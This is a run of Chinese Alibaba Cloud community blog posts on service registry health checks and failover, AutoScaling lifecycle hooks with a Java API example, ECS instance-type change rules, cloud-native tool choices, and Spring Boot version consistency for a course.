的处理。 更优雅的方式,先将即将停止的应用所对应的权重调成 0,此时上游将不再调用此应用。这时候的停止应用的操作对服务订阅者完全没有影响,当然这种场景需要订阅者实现按权重的负载均衡和运维部署工具深度结合。 服务的健康检查是如何做的 ? 健康检查分为客户端心跳和服务端主动探测两种方式。 客户端心跳 客户端每隔一定时间主动发送“心跳”的方式来向服务端表明自己的服务状态正常,心跳可以是 TCP 的形式,也可以是 HTTP 的形式。 也可以通过维持客户端和服务端的一个 socket 长连接自己实现一个客户端心跳的方式。 ZooKeeper 并没有主动的发送心跳,而是依赖了组件本身提供的临时节点的特性,通过 ZooKeeper 连接的 session 来维持临时节点。 但是客户端心跳中,长连接的维持和客户端的主动心跳都只是表明链路上的正常,不一定是服务状态正常。 服务端主动调用服务进行健康检查是一个较为准确的方式,返回结果成功表明服务状态确实正常。 服务端主动探测 服务端调用服务发布者某个 HTTP 接口来完成健康检查。 对于没有提供 HTTP 服务的 RPC 应用,服务端调用服务发布者的接口来完成健康检查。 可以通过执行某个脚本的形式来进行综合检查。 服务端主动探测也存在问题。服务注册中心主动调用 RPC 服务的某个接口无法做到通用性;在很多场景下服务注册中心到服务发布者的网络是不通的,服务端无法主动发起健康检查。 所以如何取舍,还是需要根据实际情况来决定,根据不同的场景,选择不同的策略。 服务发现 怎么找到服务发现服务端的地址? 在应用的配置文件中指定服务注册中心的地址,类似于 zookeeper 和 eureka。 指定一个地址服务器的地址,然后通过这个地址服务器来获取服务注册中心的地址,地址服务器返回的结果会随着服务注册中心的扩缩容及时更新。 当服务有节点退出或新的节点加入时,订阅者如何及时收到通知 ? 很经典的 Push 和 Pull 问题。 Push 的经典实现有两种,基于 socket 长连接的 notify,典型的实现如 zookeeper;另一种为 HTTP 连接所使用 Long Polling。 但是基于 socket 长连接的 notify 和基于 HTTP 协议的 Long Polling 都会存在notify消息丢失的问题。 所以通过 Pull 的方式定时轮询也必不可少,时间间隔的选择也很关键,频率越高服务注册中心所承受的压力也越大。需要结合服务端的性能和业务的规模进行权衡。 还有一种方式,真实的 Push,客户端开启一个 UDP server,服务注册中心通过 UDP 的方式进行数据推送,当然这个也受限于网络的连通性。 我能方便地查看我发布和订阅了哪些服务,订阅的服务有哪些节点吗 ? 一个好的产品,用户使用体验和运维体验必须是优雅的,如果查看本机发布和订阅的服务,只能通过查看日志,甚至是 jmap 的方式来获取,显然体验非常糟糕。 服务注册中心应该提供了丰富的接口,支持根据应用名、IP、订阅服务名、发布服务名,来进行多层次的组合查询。 同时,客户端的内存里,同样也应该保留服务发布与订阅的各种信息,并提供方式供人方便地查询。 比如在 Java 中的 Spring Boot 的应用,可以结合 actuator endpoint,通过 HTTP 的方式来提供本机服务查询功能,查询此应用发布的服务,以及订阅的服务及各服务的对应节点。 容灾和高可用 性能如何 当服务节点数越来越多时,服务注册中心的性能会成为瓶颈,这时候就需要通过水平扩容来提升服务注册中心集群的性能。 对于那些采用了类 Paxos 协议的强一致性的组件,如ZooKeeper,由于每次写操作需要过半的节点确认。水平扩容不能提升整个集群的写性能,只能提升整个集群的读性能。 而对于采用最终一致性的组件来说,水平扩容可以同时提升整个集群的写性能和读性能。 客户端容灾策略 首先,本地内存缓存,当运行时与服务注册中心的连接丢失或服务注册中心完全宕机,仍能正常地调用服务。 然后,本地缓存文件,当应用与服务注册中心发生网络分区或服务注册中心完全宕机后,应用进行了重启操作,内存里没有数据,此时应用可以通过读取本地缓存文件的数据来获取到最后一次订阅到的内容。 最后,本地容灾文件夹。正常的情况下,容灾文件夹内是没有内容的。当服务端完全宕机且长时间不能恢复,同时服务提供者又发生了很大的变更时,可以通过在容灾文件夹内添加文件的方式来开启本地容灾。此时客户端会忽略原有的本地缓存文件,只从本地容灾文件中读取配置。 服务端容灾与高可用 当有新节点加入集群时,节点启动后能自动添加到地址服务器中,并通过地址服务器找到其他节点,自动从其他节点同步数据,以达到数据的最终一致性。 当某个节点宕机时,此服务注册中心节点的信息会自动地址服务器中摘除,客户端能及时感知到此节点已下线。 服务端的无状态性保证了服务的容灾和高可用可以做的很薄。 服务端安全是如何做的 ? 链路安全,对于使用 HTTP 连接的服务注册中心,保护链路安全的最好方式是使用 HTTPS。而使用 TCP 连接的服务注册中心来说,由于应用层协议一般使用的是私有协议,不一定存在现成的 TLS 支持方案。 在业务安全方面,应该在每一次的发布、订阅、心跳,都带上鉴权的信息就行验签和鉴权,确保业务信息的安全性。 Alibaba Naming Service ANS (Alibaba Naming Service) 是阿里巴巴中间件团队将多年业务实践沉淀打磨的开源产品。在服务注册与发现方面,ANS 综合了上述解决方案中的优点,是最适合云原生应用的服务注册与发现组件。 ANS 服务已经在 EDAS(阿里巴巴企业级分布式应用服务) 上线,目前已经提供 Spring Cloud Ans Starter 方便 Spring Cloud 用户直接使用一个安全的可靠的商业版服务注册与发现功能。ANS 能完美地支持 Eureka 的特性,而且目前完全免费!更多信息参见 EDAS 帮助文档 。 原文链接 本文为云栖社区原创内容,未经允许不得转载。 「深度学习福利」大神带你进阶工程师,立即查看>>> 摘要: AutoScaling 伸缩组实例管理功能全面升级,新上线生命周期挂钩(LifecycleHook)功能,方便用户更加灵活地管理伸缩组内实例。使用生命周期挂钩可以在伸缩组发生伸缩活动时将伸缩活动挂起,执行自定义操作。 使用 LifecycleHook 功能,可以更加灵活地管理控制伸缩组内 ECS 实例的生命周期,灵活地控制伸缩组内实例的创建和移出过程。当伸缩组发生伸缩活动,触发生命周期挂钩时,伸缩活动将被挂起,结束当前被挂起的伸缩活动有两种方式: 等待生命周期活动超时 调用接口 CompleteLifecycleAction 主动结束生命周期活动 本文将系统地介绍生命周期挂钩功能的使用方式和使用场景,并给出生命周期挂钩功能的最佳实践。 LifecycleHook 介绍 LifecycleHook 使用场景 使用 LifecycleHook,可以在伸缩组发生伸缩活动时将正在扩张或即将释放的 ECS 实例挂起,执行用户自定义操作,可以更加灵活地管理 ECS 实例在伸缩组内的生命周期。几个简单的 LifecycleHook 应用场景: 伸缩组弹出 ECS 实例后需要延迟一段时间(测试服务没问题以后)挂载到 SLB ,然后对外提供服务 伸缩组释放 ECS 实例时需要先将实例从 SLB 后端服务移除(防止接收新的请求),待检测已经接收到的请求处理完成,停止并释放实例 伸缩组释放 ECS 实例时执行数据备份操作 伸缩组弹性扩张或者收缩执行一些用户自定义操作 针对上述第二种场景,如果可以确定每个请求的最长处理时间,可以调用 创建生命周期挂钩 接口创建生命周期挂钩,设置 LifecycleTransition 参数值为 SCALE_IN,设置 HeartbeatTimeout 为请求最长处理时间,不需要设置通知对象,当发生弹性收缩类型伸缩活动时,ECS 实例从 SLB 移除后会挂起一段时间(HeartbeatTimeout),等待请求处理完成。 LifecycleHook 工作方式 当伸缩组创建了 LifecycleHook,并发生 LifecycleHook 配置的伸缩活动类型(LifecycleTransition)时,那么伸缩活动呗挂起,用户可以在伸缩活动挂起这段时间内执行自定义操作,一直到 LifecycleHook 超时(HeartbeatTimeout),或者通过调用 CompleteLifecycleAction 接口提前终止伸缩活动挂起。 对于弹性扩张(SCALE_OUT)伸缩活动: ECS 实例先进入 Pending(加入中)状态,当实例启动成功,并添加到 RDS 白名单(如果伸缩组设置了 RDS)以后,触发 LifecycleHook ,ECS 实例进入 Pending:Wait (加入中挂起)状态。如果LifecycleHook 配置了通知对象(MNS),则发送通知内容到 MNS,用户可通过 MNS控制台 的方式来消费 MNS 主题或者队列中的消息,也可以通过 OpenAPI 的方式消费,具体可参考 ESS 事件通知#消息接收 章节。当用户接收到 MNS 消息后可以执行自定义操作,例如在 ECS 实例上安装软件、部署服务等,执行完自定义操作以后,用户可以通过 CompleteLifecycleAction 接口提前结束挂起的伸缩活动,也可以等待 LifecycleHook 挂起超时。LifecycleHook 挂起结束后有两个执行方向,CONTINUE or ABANDON,对于弹性扩张伸缩活动,执行方向解释如下: CONTINUE 继续,ECS 实例将被投入伸缩组中使用 ABANDON 拒绝,伸缩活动回滚,ECS 实例将被释放 如果伸缩组配置了多个弹性扩张类型的 LifecycleHook,那么发生弹性扩张伸缩活动时会触发多个 LifecycleHook,伸缩活动最终的执行方向(CONTINUE or ABANDON)以最后一个结束的 LifecycleHook 执行方向为准。 结束 LifecycleHook 挂起状态以后,如果伸缩组配置了负载均衡(SLB),那么将 ECS 实例挂载到 SLB 上以后,实例进入 Inservice(服务中)状态,此时弹性扩张伸缩活动结束。 对于弹性收缩(SCALE_IN)伸缩活动: ECS 实例先进入 Terminating(移出中)状态,,将实例从 SLB 后端服务器移除以后(如果伸缩组配置了负载均衡(SLB)),触发 LifecycleHook ,ECS 实例进入 Terminating:Wait (移出中挂起)状态。如果 LifecycleHook 配置了通知对象(MNS),则发送通知内容到 MNS,用户可通过 MNS控制台 的方式来消费 MNS 主题或者队列中的消息,也可以通过 OpenAPI 的方式消费,具体可参考 ESS 事件通知#消息接收 章节。当用户接收到 MNS 消息后可以执行自定义操作,例如检测 ECS 接收到的请求是否处理完成、停止接收服务等,执行完自定义操作以后,用户可以通过 CompleteLifecycleAction 接口提前结束挂起的伸缩活动,也可以等待 LifecycleHook 挂起超时。LifecycleHook 挂起结束后有两个执行方向,CONTINUE or ABANDON,对于弹性收缩伸缩活动,执行方向解释如下: CONTINUE 继续,ECS 实例将从伸缩组中移出 ABANDON 拒绝,ECS 实例将从伸缩组中移出 如果伸缩组配置了多个弹性收缩类型的 LifecycleHook,那么发生弹性收缩活动时会触发多个 LifecycleHook,如果某个 LifecycleHook 挂起结束执行结果为 ABANDON,则其余挂起的 LifecycleHook 会被提前结束掉,ECS 实例从伸缩组中移出,如果某个 LifecycleHook 挂起结束执行结果为 CONTINUE,则其余挂起的 LifecycleHook 继续挂起,直到最后一个 LifecycleHook 挂起结束,伸缩活动恢复执行。 结束 LifecycleHook 挂起状态以后,弹性伸缩服务会将 ECS 实例先从 RDS 白名单移除(如果伸缩组配置了 RDS),再将 ECS 实例停止(如果 ECS 实例是伸缩组弹出来的不是手动添加的),然后释放实例(如果 ECS 实例是伸缩组弹出来的不是手动添加的),并将实例从伸缩组中移出。 LifecycleHook 通知方式 如果生命周期挂钩配置了通知对象,那么当伸缩组发生伸缩活动触发 LifecycleHook 时,通知对象将接收到当前的伸缩活动详细信息,如果生命周期挂钩没有配置通知对象,那么当伸缩组发生伸缩活动触发 LifecycleHook 时不会发出任何通知信息。 生命周期挂钩目前支持以下两种通知方式: 消息服务(MNS)队列(Queue) 消息服务(MNS)主题(Topic) 关于 MNS 主题和队列的介绍,您可以参考 队列使用帮助 、 主题使用帮助 来了解主题、队列的创建,消息的接收方式,以及如何为主题设置订阅等。 需要注意的是,MNS 消息服务会收取相应的费用,具体的收费标准可参考 云产品定价#消息服务 进行详细了解。 LifecycleHook 通知内容 当伸缩组发生伸缩活动触发 LifecycleHook 时,如果生命周期挂钩配置了通知对象(目前只支持通知到 MNS),那么通知对象将收到关于此次伸缩活动的详细信息,通知内容如下: { "content": { "defaultResult": "CONTINUE", "instanceIds": [ "i-xxxxxxxxxx1", "i-xxxxxxxxxx2", "i-xxxxxxxxxx3", "i-xxxxxxxxxx4", "i-xxxxxxxxxx5" ], "lifecycleActionToken": "C8BEAE68-CB77-4E60-986D-1E8BBF1A6B99", "lifecycleHookId": "ash-wxxxxxxxxxxx", "lifecycleHookName": "SCALE_IN_TEST", "lifecycleTransition": "SCALE_IN", "notificationMetadata": "测试 SCALE_IN HOOK", "requestId": "XXXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXX", "scalingActivityId": "asa-xxxxxxxxxxxxxxxx", "scalingGroupId": "asg-xxxxxxxxxxxxxxxxx", "scalingGroupName": "test-hook", "scalingRuleId": "asr-xxxxxxxxxxxx", "scheduledTaskId": "xxxxxxxxxxxxxx" }, "product": "ESS", "regionId": "cn-shenzhen", "resourceArn": "acs:ess:cn-shenzhen:111111111111111:scalingGroup/asg-xxxxxxxxxxxxx", "time": "2018-06-21T03:07:57.641Z", "userId": "111111111111111" } 上述内容中: resourceArn 伸缩组唯一标识符,包括了伸缩组所在的 Region 信息,所属的用户 ID 信息,以及伸缩组 ID 信息。 content 生命周期挂钩触发的伸缩活动详细信息 defaultResult 生命周期挂钩默认执行策略 CONTINUE 继续 ABANDON 拒绝 instanceIds 生命周期挂钩挂起的 ECS 实例ID lifecycleActionToken 生命周期挂钩唯一标识符,通过获取该参数与 lifecycleHookId 参数,可通过调用 CompleteLifecycleAction 主动结束生命周期活动 lifecycleHookId 生命周期挂钩 ID lifecycleHookName 生命周期挂钩名称 lifecycleTransition 生命周期挂钩适用的伸缩活动类型,取值范围: SCALE_OUT:伸缩组弹性扩张活动 SCALE_IN:伸缩组弹性收缩活动 notificationMetadata 生命周期挂钩通知标识 scalingActivityId 伸缩活动 ID scalingGroupId 伸缩组ID scalingGroupName 伸缩组名称 scalingRuleId 触发伸缩活动的伸缩规则名称(此参数不是必带) scheduledTaskId 定时任务ID(只有伸缩活动是由定时任务触发的时候才会有此参数) MNS 队列或主题内容的消费方式,推荐参考 MNS 官方给出的 长轮训最佳实践 文档,使用长轮询的方式来消费队列或主题收到的消息内容。 最佳实践 创建 LifecycleHook 通知对象 在创建 LifecycleHook 时,可以配置通知对象,也可以不配置通知对象,如果需要配置通知对象,需要先创建好通知对象,再创建 LifecycleHook。关于通知对象(MNS 主题、队列)的创建方式,可以参考 ESS 事件通知#创建 MNS 队列 章节 和 ESS 事件通知#创建 MNS 主题 章节。 创建 LifecycleHook LifecycleHook 的创建,可以通过 ESS控制台 完成,也可以通过调用 CreateLifecycleHook 接口完成。通过接口创建 LifecycleHook,可基于 CreateLifecycleHook 文档,参考 ESS 事件通知#创建事件通知(OpenAPI) 章节实现。通过 ESS控制台 创建 LifecycleHook 过程如下: 登录 ESS控制台 ,进入生命周期挂钩列表页,点击创建生命周期挂钩按钮,弹出创建界面如下图所示: 按提示名称,通知标识,选择伸缩活动类型、执行策略和通知方式,点击确定,如下图所示: 上图中,创建了两个 LifecycleHook,一个伸缩活动扩张类型的 LifecycleHook,一个伸缩活动收缩类型的 LifecycleHook。 触发 LifecycleHook 本章以触发弹性收缩活动为例,展示 LifecycleHook 工作过程。触发伸缩活动的方式,可参考 ESS 事件通知#创建事件通知(OpenAPI) 章节完成。 首先触发减少1台实例的伸缩活动,如下图所示: 查看伸缩组 ECS 实例列表页,如下图所示: 从上图看出,此时有一台 ECS 实例处于挂起状态,由于弹性收缩类型的 LifecycleHook 设置了通知对象,可以登录 MNS控制台 查看通知结果,消息查看方式可参考 ESS 事件通知#MNS 队列消息接收) 章节。 接收到 LifecycleHook 发送的通知内容以后,提取 lifecycleActionToken 、lifecycleHookId 参数,然后通过调用 CompleteLifecycleAction 接口提前结束 LifecycleHook 挂起状态,调用方式如下: public class LifecycleHookTest { public static final String REGION_ID = "cn-hangzhou"; public static final String AK = "xxx"; public static final String AKS = "xxx"; public static void main(String[] args) throws ClientException, Exception { IClientProfile clientProfile = DefaultProfile.getProfile(REGION_ID, AK, AKS); final IAcsClient client = new DefaultAcsClient(clientProfile); completeLifecycleAction(client); } private static String completeLifecycleAction(IAcsClient client) throws ClientException { CompleteLifecycleActionRequest request = new CompleteLifecycleActionRequest(); request.setLifecycleHookId("ash-xxxxxxxxxxxxx"); request.setLifecycleActionToken("xxxxxxxxxxxxxxx"); request.setLifecycleActionResult("CONTINUE"); CompleteLifecycleActionResponse response = client.getAcsResponse(request); return response.getRequestId(); } } 使用上述代码中,需补充个人 AK 信息,以及 LifecycleActionToken 和 LifecycleHookId 参数。 LifecycleHook 挂起状态结束以后,ECS 实例被停止(伸缩组创建的实例),然后释放(伸缩组创建的实例)并移出伸缩组。 需要注意,如果 LifecycleHook 配置的通知对象被删除,那么当前的 LifecycleHook 将不再生效。如果伸缩活动触发 LifecycleHook 被挂起,想要延长伸缩活动被挂起的时间,可以通过调用 RecordLifecycleActionHeartbeat 延长挂起时间。 写在最后 AutoScaling 生命周期挂钩功能提供了更加灵活地管理伸缩组内 ECS 实例生命周期的能力,通过该功能可以在伸缩组发生弹性扩张和弹性收缩活动时,通过将伸缩活动挂起的方式执行自定义操作。 弹性伸缩服务正在快速地发展,后续会有更多的新功能新特性推出,感谢您的一路陪伴。 原文链接 本文为云栖社区原创内容,未经允许不得转载。 「深度学习福利」大神带你进阶工程师,立即查看>>> 摘要: 阿里云ECS规格种类丰富,可以升降配到底有什么规格?购买实例后,您可以通过升降配功能重新升级或降级资源的配置,但是到底那些是可以变更,哪些又不支持呢?一张表看懂ECS云服务器规格的升降配,清晰,简洁。 背景 阿里云ECS规格种类丰富,可以升降配到底有什么规格?购买实例后,您可以通过升降配功能重新升级或降级资源的配置,但是到底那些是可以变更,可以变更到什么?哪些又不支持呢? 如何操作 阿里云可以变配到哪些规格族是产品具备变配的能力,但具体规格可以变配到什么规格跟 当前可用区是否有售卖有关系 。 具体实例可以变配到哪些规格族,可以查询API DescribeResourcesModification 查询ECS变配的可用资源实践 也可以选择控制台操作: 按量实例可以点击云服务器ECS-点击实例-选择要变更的实例-停止实例-点击更改实例规格-选择要变更的规格 包年包月或者按周的实例点击云服务器ECS-点击实例-选择升降配-选择根据需求选择升配、降配或者续费降配-选择要变更的规格 变配规则说明 包年包月 支持跨集群变配操作: 升级、过期实例的续费变配 、降配 不支持跨集群变配操作:续费降配 按量 支持跨集群变配操作 跨集群影响: 规格族官网介绍链接 如果您使用的是sn2、sn1、t1、s1、s2、s3、m1、m2、c1、c2、n1、n2或e3,请参见 已停售的实例规格 。 经典网络类型实例: 对于一代中非 I/O 优化实例变配到 I/O 优化经典网络实例时,实例私网 IP 地址、磁盘设备名和软件授权码会发生变化。对于 Linux 实例,普通云盘(cloud)会被识别为 xvda 或者 xvdb 等,高效云盘(cloud_efficiency) 和 SSD 云盘(cloud_ssd)会被识别为 vda 或者 vdb 等。 对于I/O 优化经典网络实例,实例的私网 IP 地址会发生变化。 专有网络 VPC 类型实例: 对于一代 非 I/O 优化实例变配到 I/O 优化专有网络实例时,云服务器磁盘设备名和软件授权码会发生变化。Linux 实例的普通云盘(cloud)会被识别为 xvda 或者 xvdb等,高效云盘(cloud_efficiency) 和 SSD 云盘(cloud_ssd)会被识别为 vda 或者 vdb 等。 变配规则 实例当前规格族 按量可以变配目标 规格族 包年包月可以变配 目标规格族 | t1,s1,s2,s3,m1,m2,c1,c2 | t1,s1,s2,s3,m1,m2,c1,c2, 跨系列: sn1,sn2,se1, n1,n2,e3, sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 | t1,s1,s2,s3,m1,m2,c1,c2, 跨系列: sn1,sn2,se1, n1,n2,e3, sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 n1,n2,e3, | n1,n2,e3, 跨集群: sn1,sn2,se1, sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 | n1,n2,e3, 跨系列: sn1,sn2,se1, sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 |
---|
sn1,sn2,se1 | sn1,sn2,se1, 跨集群: n1,n2,e3, sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 | sn1,sn2,se1, 跨集群: n1,n2,e3, sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 | n4,mn4,xn4,e4 | n4,mn4,xn4,e4, 跨集群: sn1,sn2,se1, n1,n2,e3, sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5 | n4,mn4,xn4,e4, 跨集群: sn1,sn2,se1, n1,n2,e3, sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5 | c4,ce4,cm4 | c4,cm4,ce4, 跨集群: sn1ne,sn2ne,se1ne, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 | c4,cm4,ce4, 跨集群: sn1ne,sn2ne,se1ne, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 | sn1ne,sn2ne,se1ne | sn1ne,sn2ne,se1ne, 跨集群: c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 | sn1ne,sn2ne,se1ne, 跨集群: c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 | t5 | t5, 跨集群: sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, n4,mn4,xn4,e4 | t5, 跨集群: sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4,re5, n4,mn4,xn4,e4 | hfc5、hfg5 | hfc5,hfg5, 跨集群: sn1ne,sn2ne,se1ne, c4,cm4,ce4, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 | hfc5,hfg5, 跨集群: sn1ne,sn2ne,se1ne, c4,cm4,ce4, g5,r5,c5,ic5, re4,re5, t5, n4,mn4,xn4,e4 | g5,r5,c5,ic5 | g5,r5,c5,ic5, 跨集群: sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, re4,re5, t5, n4,mn4,xn4,e4 | g5,r5,c5,ic5, 跨集群: sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, re4,re5, t5, n4,mn4,xn4,e4 | re4 | re4, 跨集群: sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re5, t5, n4,mn4,xn4,e4, ecs.se1.14xlarge | re4, 跨集群: sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re5, t5, n4,mn4,xn4,e4, ecs.se1.14xlarge | re5 | re5, 跨集群: sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4, t5, n4,mn4,xn4,e4, ecs.se1.14xlarge | re5, 跨集群: sn1ne,sn2ne,se1ne, c4,cm4,ce4, hfc5,hfg5, g5,r5,c5,ic5, re4, t5, n4,mn4,xn4,e4, ecs.se1.14xlarge | gn4 | gn4 | gn4 | gn5i | gn5i | gn5i gn6v | d1,d1ne, i1,i2, ga1,gn5, f1,f2,f3, 弹性裸金属服务器(神龙) 超级计算集群(SCC) gn6v | 不支持 gn6v | 不支持 | 原文链接 本文为云栖社区原创内容,未经允许不得转载。 「深度学习福利」大神带你进阶工程师,立即查看>>> 得益于CTO、CEO和CDO们积极的推动,IT基础设施正在向云环境迁移,底层架构师则在热烈讨论围绕着云原生应用的SaaS、PaaS和微服务架构,而开发者们正在大显身手,努力探索云计算的魔盒,找出什么是对业务有价值的,什么又是不需要的。 之所在云上花费这大精力,云应用所具备的独特功能居功至伟,例如支持高度可扩展和灵活的分布式架构,可以在多云环境中轻松迁移,但云应用从开发到落地生产环境,需要许多不同的工具和技术来提供强有力的支持。本文将讨论云环境中能够最大化发挥云计算优势的新方法、新工具。 函数式编程 假设我们希望开发具有高度可伸缩基础设施的服务来支持IoT和ybig data平台,函数式编程是一项值得考虑的选择。不同于大多数人所熟知的编程范式,函数式编程不需要维护全局状态,只需要将输入数据传给函数即可,适合用于验证新想法。很多顶级云供应商目前都已经支持函数式编程。 选择开发语言 在云平台上开发微服务架构时,启动时间(startup time)、内存效率(memory efficiency)、二进制大小(binary size)和并发性(consurrency)是关键因素。 Go——Go语言对于云计算来说,是一种优秀的选择,它具备兵法、轻量级、静态类型和编译语言等特性。据了解,英国的一家银行(Monzo)完全使用Go语言实现微服务架构来构建完整的银行体系结构。 Java——大多数应用都是用Java开发的,Java也拥有大量的开发者社区基础。Spring Boot和Java modules(JDK-9.0~)是云原生架构的最佳选择之一。这是将以遗留系统迁移到云平台的良好开端。 .net core——微软已经很久没有支持开源社区了,这也是很多公司不采用.net core的原因之一。当然微软总是致力于提供无bug的工具、简单的语法和良好的教程,他们最近也意识到,开源可以为Azure cloud提供更多的创新和业务。总而言之,.net core是Azure云平台上的最佳选择之一。 R Math——数据科学(data science)正在席卷整个计算机世界,但却没有一种新的语言可以用来解决数据科学难题(统计和数学)。由于云计算可以以低成本提供计算能力,业界正试图用旧的技术工具来解决人工智能难题。R是S编程语言的实现。S创建于1976年,R library实现统计和数学功能。 Python——Python支持多种编程范例和强类型检查。它易于学习,有强大的分析库,并得到了开源社区的大力支持,这也是Python吸引数据科学家的原因之一。 选择存储 大规模伸缩前端服务时,尝试使用连接池与RDBMS数据库进行通信可能无法满足实际的用例需求,需要我们选择以云为中心(cloud-centric)的数据库来构建强大的存储平台。 Amazon DynamoDB——提供了任何级别的single-digit-millisecond延迟,数据以NoSQL格式存储,支持文档、键值存储模型和构建图形数据库。 Azure Cosmos DB——支持具有水平扩展的全局分布式数据库。以NoSQL格式存储的数据,保证了99%的single-digit-millisecond延迟。它不仅支持文档、图形、键值、表和列族数据模型,还支持扩展到多种语言的API支持。 MongoDB——MongoDB是NoSQL DB的早期版本之一,对于客户来说是非常好的开源存储,并且具有不错的成本效益模型。 IBM Cloudera DB——Cassandra是Cloudera的基础数据库,它支持基于java的api来与NoSQL数据库通信。 Oracle NoSQL DB——oracle NoSQL DB并支持水平负载均衡和节点扩展。 Service Mesh微服务架构 微服务架构在带来诸多好处的同时,也带来了处理故障、路由和服务发现方面的挑战。因此,在大规模构建以云为中心的服务时,不妨考虑Service Mesh微服务架构。 什么是Service Mesh微服务架构 Service Mesh是用于处理服务间通信的基础设施层,用于在云原生应用复杂的服务拓扑中实现可靠的请求传递。在实践中,Service Mesh通常是一组与应用一起部署,但对应用透明的轻量级网络代理。简单来说,Service Mesh是微服务通信的代理层。 Linkerd - It communicates between services and provides an abstract layer for accessing microservices. The key features are service discovery, load balancing, circuit breaking, dynamic request routing and distributed tracing. Linkerd——Linkerd为服务之间通信提供支持,并为访问微服务提供抽象层,具有服务发现、负载均衡、断路、动态请求路由和分布式跟踪等特性。 Envoy——最初在其内部使用,而今作为Service Mesh解决方案开放了源代码。不过Envoy并不是为Kubernetes设计的。 Istio——Istio使用负载均衡服务创建已部署服务的网络以进行服务身份验证。服务监视是它支持的关键特性之一。 Rainbond——Service Mesh微服务架构是开源PaaS Rainbond在 v3.6.0 版本中的重点新增特性,可以开箱即用。Rainbond通过插件式扩展来实现治理功能,并对spring cloud、api gateway、dubbo等微服务架构框架有良好支持。 消息层 IoT是所有行业都在关注的增长领域。相信不少人都听说过,数据是一种新的石油这句话。自动驾驶、移动设备等等,每天都会向云平台输送大量数据。事件源(event sourcing)是捕获完整在线用户活动的另一个领域……种种情形和需求,让数据流工具成为众多企业必不可少的一部分。 Kafka——Kafka是一款基于发布/订阅的分布式消息系统,于2011年成为Apache的孵化项目,随后于2012年成为Apache的主要项目之一。Kafka使用Scala和Java进行编写,因其快速、可扩展的、高吞吐、可容错的特点而逐渐成为一项广泛使用的技术,适合在messaging、website activity tracking、log aggregation等大规模消息处理场景中使用。 Kinesis——Amazon Kinesis可让您轻松收集、处理和分析实时流数据,以便您及时获得见解并对新信息快速做出响应。Amazon Kinesis 提供多种核心功能,可以经济高效地处理任意规模的流数据,同时具有很高的灵活性,让您可以选择最符合应用程序需求的工具。 容器/架构即代码 容器化是对在云环境中运行应用和依赖的打包,即其中包含代码、环境变量、库等等。容器可以在任意云环境中运行,并为大规模迁移到不同云环境中提供灵活性。 Docker——Docker为封装和分发容器应用提供了一个开放的标准。Docker engine用于构建和运行容器,而Docker镜像一般存储在Docker hub中。 Kubernetes——Kubernetes现下已成为容器编排的标准,在Docker技术的基础上,为容器化的应用提供部署运行、资源调度、服务发现和动态伸缩等一系列完整功能,提高了大规模容器集群管理的便捷性。 总结 以上工具和技术只是云平台的开始,需要企业,尤其是大型企业在构建云平台时,结合实际自身情况进行选择,为应用开发、存储、安全、日志记录和调试、监视和测试创建合理的路线图,这也是为开发人员增加生产力和实现目标提供清晰思路的有效方法。 END - 开源PaaS Rainbond v3.6.0现已发布,新增Service Mesh微服务架构开箱即用,通过插件式扩展来实现治理功能,并支持spring cloud、api gateway、dubbo等主流微服务架构。 「深度学习福利」大神带你进阶工程师,立即查看>>> 学员们在参与“ 基于Spring Boot的博客系统实战 ”课程的时候,可能没有太注意版本的问题。其实,版本是一个非常重要也是一个非常容易忽略的问题。 版本不一致会导致各种奇怪的问题,比如: 应用启动不了 启动过程中报错 提示找不到 class 功能不正常 等等 初级学员往往不重视软件版本,存在随意更改版本的现象,从而导致上述问题。同时,学员又缺乏调试程序的能力,一旦出错,将不知所措。认为代码都是跟老师的一样的啊,但是怎么就运行不成功呢? 所以,环境、版本需要纳入和代码同等重要的位置。从某种意义上来讲,环境配置、版本配置都是源码,都要纳入源码管理系统之中。 以下,是课程中学员经常犯的常见的由于环境、版本不一致所导致的问题: Spring RestTemplate 调用天气预报接口乱码的解决 Spring Data Elasticsearch与ES的关系 使用 Bootstrap 4 正式版重新定义网站的新Style! Elasticsearch 使用中文分词 Spring Data Elasticsearch与Elasticsearch的版本关系 Spring Boot自定义版本 学员们可以对照检查。 如何避免此类错误 简单一句话“莫装逼”。如果能力还不够的话,建议严格按照课程的所采用的版本来。因为课程中所有的软件版本、环境都是经过老师严格测试,并确保可用的。避免此类错误,有效节省学员试错的时间。时间就是money哦~ 以下是《基于Spring Boot的博客系统实战》课程所使用的版本: * JDK 8 * 